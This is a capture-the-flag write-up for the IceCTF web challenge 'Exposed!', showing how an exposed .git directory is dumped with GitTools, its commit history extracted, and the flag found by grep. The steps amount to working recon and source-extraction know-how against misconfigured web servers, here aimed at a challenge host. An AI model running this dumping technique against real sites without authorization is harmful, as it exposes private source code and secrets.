writeups

IceCTF - 60 - Exposed! - Web

noraj (Alexandre ZANNI)
, , ,
🇬🇧

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

Description#

John is pretty happy with himself, he just made his first website! He used all the hip and cool systems, like NginX, PHP and Git! Everyone is so happy for him, but can you get him to give you the flag?

Solution#

  1. Description tell us we're looking for a web hosted git repository.
  2. Let's try http://exposed.vuln.icec.tf/.git/.
  3. Oh I forgot to say! We are lazy and this tool is amazing: GitTools.
  4. Dump the git repo : ./gitdumper.sh http://exposed.vuln.icec.tf/.git/ repo.
  5. Let's see what we get in there:
1
2
3
4
5
6
7
8
9
10
11
ls -A1 repo/.git/
COMMIT_EDITMSG
HEAD
config
description
index
info
logs
objects
packed-refs
refs
  1. Let's see COMMIT_EDITMSG:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat .git/COMMIT_EDITMSG
add robots.txt

# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
#
# Author:    James Sigurðarson <jamiees2@gmail.com>
# Date:      Wed Aug 10 21:47:49 2016 +0000
#
# On branch master
# Changes to be committed:
#	new file:   robots.txt
#
# Untracked files:
#	rewrite-history.sh
#
  1. Interesting there is a robots.txt, we should have look to it sooner: http://exposed.vuln.icec.tf/robots.txt
1
2
3
User-Agent: *
Disallow: /.git
Disallow: /flag.php
  1. Oh yeah a flag.php file! Let's go to http://exposed.vuln.icec.tf/flag.php: there is nothing anymore here.
  2. But maybe we can found an older version of flag.php with git!
  3. Want to dig into git HEAD and all? Nah! There still is GitTools.
  4. Let's extract all now: ./extractor.sh repo/ repodump/.
  5. There is a lot of stuff in here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
ls -RA repodump
repodump:
0-60756b184c2d6b8f0247c152d8549562bc14d2d9   14-b536a10b5453686bd1dfcc50da3cb156c321fb5f  2-adf0ebdff8a972f3f6158304323feba4aa1fd482   25-631503ff237e145c7bade484c44c05a223b51155  4-cda8cc0acc8a09153351e43c40f4abeb7a823a03
1-6034c348380c9709715e6af60d04f684867d7234   15-e9f1db96f8b67eced8183d2d523e4ea76c008b83  20-32b31838b757a00f2e296ac198ca7d9cb930e644  26-90c2cd27cabb8ec7f55941ecee004558a070ccde  5-68162dcb661493c295f3913b1c1da2b198adfdd8
10-fd2ac4d5260ee06f9a0e5f4808bf3862e2065fb8  16-ec95d11bb37f00fb8e17f6bdbb800124b79e3c32  21-5ea13398f975b53ff30b7ea162b2ec6897a48c68  27-541e08f75514d1caec2a62fe3a1af308da6f35d8  6-f5674cbaacd842cfacb9f825c29f7f3e5150c7ef
11-4183a0cd7143899e4a5d34f01ce58317fd68921e  17-590a15d32d9a494be5830f61c5c180ddef86e43e  22-ebe74d8641b4d8b90c33d1deb69070476b0ef402  28-4de7e6fbbba6f94bc146b33bbfe6c0155f3c2fd4  7-f521418118a088ef00fef0c3e199d30d6c7e96a5
12-175e312b3d3aeab77ada20ed93d1c9a3f2caf429  18-6b3e1ffdc1d679c4815f08ef1d70d1b955451b36  23-97dcb30a5862aa43984b8beee84c9477a7315856  29-bf55633224c5c76f49d42621ace07aa705ebae6e  8-584ae8349fe51e2cb25e11347003c11e92f88c74
13-1746e11be489319bd8900318874b68304eb05288  19-1f601ea8a09052234b53e2cc1bb12e4ceacbf8a6  24-971c67fd8ed67c3986844f627917c19c151d00bf  3-d70b2e576c0f35e83d70027434050e06f729662b   9-672c8f636b6db9c79412db177dcca75cde27c82b

repodump/0-60756b184c2d6b8f0247c152d8549562bc14d2d9:
.gitignore  commit-meta.txt  flag.php  index.php

repodump/1-6034c348380c9709715e6af60d04f684867d7234:
.gitignore  commit-meta.txt  flag.php  index.php

repodump/10-fd2ac4d5260ee06f9a0e5f4808bf3862e2065fb8:
commit-meta.txt  index.php

repodump/11-4183a0cd7143899e4a5d34f01ce58317fd68921e:
.gitignore  commit-meta.txt  flag.php  index.php  robots.txt

repodump/12-175e312b3d3aeab77ada20ed93d1c9a3f2caf429:
commit-meta.txt  index.php

repodump/13-1746e11be489319bd8900318874b68304eb05288:
.gitignore  commit-meta.txt  flag.php  index.php  robots.txt

repodump/14-b536a10b5453686bd1dfcc50da3cb156c321fb5f:
.gitignore  commit-meta.txt  index.php

repodump/15-e9f1db96f8b67eced8183d2d523e4ea76c008b83:
.gitignore  commit-meta.txt  flag.php  index.php  robots.txt

repodump/16-ec95d11bb37f00fb8e17f6bdbb800124b79e3c32:
.gitignore  commit-meta.txt  index.php

repodump/17-590a15d32d9a494be5830f61c5c180ddef86e43e:
.gitignore  commit-meta.txt  flag.php  index.php  robots.txt

repodump/18-6b3e1ffdc1d679c4815f08ef1d70d1b955451b36:
.gitignore  commit-meta.txt  index.php

repodump/19-1f601ea8a09052234b53e2cc1bb12e4ceacbf8a6:
.gitignore  commit-meta.txt  index.php

repodump/2-adf0ebdff8a972f3f6158304323feba4aa1fd482:
.gitignore  commit-meta.txt  flag.php  index.php

repodump/20-32b31838b757a00f2e296ac198ca7d9cb930e644:
.gitignore  commit-meta.txt  flag.php  flag.txt  index.php

repodump/21-5ea13398f975b53ff30b7ea162b2ec6897a48c68:
.gitignore  commit-meta.txt  flag.php  index.php

repodump/22-ebe74d8641b4d8b90c33d1deb69070476b0ef402:
.gitignore  commit-meta.txt  index.php

repodump/23-97dcb30a5862aa43984b8beee84c9477a7315856:
.gitignore  commit-meta.txt  flag.php  index.php

repodump/24-971c67fd8ed67c3986844f627917c19c151d00bf:
.gitignore  commit-meta.txt  index.php

repodump/25-631503ff237e145c7bade484c44c05a223b51155:
.gitignore  commit-meta.txt  flag.php  index.php

repodump/26-90c2cd27cabb8ec7f55941ecee004558a070ccde:
.gitignore  commit-meta.txt  index.php

repodump/27-541e08f75514d1caec2a62fe3a1af308da6f35d8:
.gitignore  commit-meta.txt  flag.php  flag.txt  index.php

repodump/28-4de7e6fbbba6f94bc146b33bbfe6c0155f3c2fd4:
.gitignore  commit-meta.txt  index.php

repodump/29-bf55633224c5c76f49d42621ace07aa705ebae6e:
.gitignore  commit-meta.txt  index.php

repodump/3-d70b2e576c0f35e83d70027434050e06f729662b:
.gitignore  commit-meta.txt  index.php

repodump/4-cda8cc0acc8a09153351e43c40f4abeb7a823a03:
.gitignore  commit-meta.txt  index.php

repodump/5-68162dcb661493c295f3913b1c1da2b198adfdd8:
.gitignore  commit-meta.txt  flag.php  index.php

repodump/6-f5674cbaacd842cfacb9f825c29f7f3e5150c7ef:
.gitignore  commit-meta.txt  index.php

repodump/7-f521418118a088ef00fef0c3e199d30d6c7e96a5:
.gitignore  commit-meta.txt  index.php

repodump/8-584ae8349fe51e2cb25e11347003c11e92f88c74:
.gitignore  commit-meta.txt  flag.php  flag.txt  index.php

repodump/9-672c8f636b6db9c79412db177dcca75cde27c82b:
.gitignore  commit-meta.txt  index.php
  1. Still to lazy to dig with git? Ok let's use grep:
1
2
3
4
5
6
7
8
9
grep -r -i icectf{ repodump/
repodump/20-32b31838b757a00f2e296ac198ca7d9cb930e644/flag.txt:IceCTF{this_isnt_the_flag_either}
repodump/7-f521418118a088ef00fef0c3e199d30d6c7e96a5/index.php:            font-size: 2em; /* IceCTF{secure_y0ur */
repodump/8-584ae8349fe51e2cb25e11347003c11e92f88c74/flag.txt:IceCTF{this_isnt_the_flag_either}
repodump/0-60756b184c2d6b8f0247c152d8549562bc14d2d9/flag.php:                    echo 'IceCTF{not_this_flag}';
repodump/6-f5674cbaacd842cfacb9f825c29f7f3e5150c7ef/index.php:                echo 'Hello World! IceCTF{secure_y0ur_g1t_repos_pe0ple}';
repodump/18-6b3e1ffdc1d679c4815f08ef1d70d1b955451b36/index.php:                echo 'Hello World! IceCTF{secure_y0ur_g1t_repos_pe0ple}';
repodump/27-541e08f75514d1caec2a62fe3a1af308da6f35d8/flag.txt:IceCTF{this_isnt_the_flag_either}
repodump/23-97dcb30a5862aa43984b8beee84c9477a7315856/flag.php:                    echo 'IceCTF{not_this_flag}';
  1. Tada!
Share